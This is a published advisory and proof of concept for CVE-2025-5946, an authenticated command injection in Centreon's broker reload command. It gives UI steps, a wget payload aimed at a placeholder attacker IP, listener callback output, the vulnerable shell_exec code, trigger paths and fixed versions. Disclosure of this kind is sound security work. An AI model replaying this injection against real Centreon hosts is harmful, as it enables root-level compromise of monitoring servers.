ORIGINAL RESEARCHEXPLOIT DEVELOPMENTPUBLISHED ADVISORYCVE-2025-5946

CVE-2025-5946 — Centreon Poller Reload Command Injection

Authenticated OS command injection in Centreon Infra Monitoring through the broker reload command, allowing a high-privileged web user to execute commands when the broker reload path is triggered.

Originally published on Rapid7 AttackerKB · 2025-11-02 · revised 2025-11-11

Overview

CVE-2025-5946 is an authenticated OS command injection vulnerability in Centreon Infra Monitoring. The Centreon Broker reload command is stored in the poller configuration and later passed to shell_exec() through a privileged reload workflow.

A high-privileged Centreon web user can replace the broker reload command with shell syntax and trigger one of several application actions that reload the broker, resulting in command execution on the Centreon host.

Attack prerequisites

Exploitation requires an authenticated Centreon account with sufficient privileges to modify poller configuration.

Proof of concept

  1. Install an affected Centreon release.
  2. Sign in to the Centreon web interface as an administrator.
  3. Navigate to Configuration → Pollers → Pollers.
  4. Open the poller configuration.

Centreon poller list

  1. Replace Centreon Broker reload command with a validation payload such as wget http://<attacker_ip>.

Centreon broker reload command configuration

  1. Start an HTTP listener:
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  1. Trigger a broker reload. The original research confirmed several reachable trigger paths, including:
  • exporting poller configuration;

Poller export trigger

  • deleting a graph through Administration → Parameters → Data;

Data trigger

  • deleting a metric graph from the metric-detail view.

Metric trigger

The callback confirms command execution:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.201.103 - - [01/Jun/2025 16:46:09] "GET / HTTP/1.1" 200 -

Root cause

The vulnerable code is in /usr/share/centreon/www/class/centreonBroker.class.php. getReloadCommand() reads broker_reload_command from the nagios_server table and reload() interpolates it directly into shell_exec("sudo $command").

// Excerpt of the vulnerable code in /usr/share/centreon/www/class/centreonBroker.class.php
public function reload(): void
{
    if ($command = $this->getReloadCommand()) {
     // vulnerable code!
     shell_exec("sudo $command");
    }
}

/**
 * Get command to reload centreon broker
 *
 * @return string|null the command
 * @throws PDOException
 */
private function getReloadCommand(): ?string
{
    $command = null;

    $result = $this->db->query(
        'SELECT broker_reload_command
        FROM nagios_server
        ORDER BY localhost DESC'
    );

if ($row = $result->fetch()) {
        $command = $row['broker_reload_command'];
    }

return $command;
}

The vulnerable reload() function is reachable from several application paths documented in the research:

  • /usr/share/centreon/www/include/Administration/performance/viewData.php, lines 141 and 164;
  • /usr/share/centreon/www/include/Administration/performance/viewMetrics.php, line 72;
  • /usr/share/centreon/www/include/configuration/configGenerate/xml/restartPollers.php, line 205.

Impact

A high-privileged web user can execute arbitrary commands through a configuration value that is subsequently invoked with sudo. This crosses the web-application trust boundary and can compromise the Centreon host.

Exploit development

A Metasploit module was developed and submitted upstream as PR 20672.

Remediation

The research identified Centreon versions from 19.10 onward as affected. Vendor fixes were released in Centreon Web 24.10.13, 24.04.18, and 23.10.28, with subsequent releases also containing the correction.

References

Credits

Discovery: h00die-gr3y.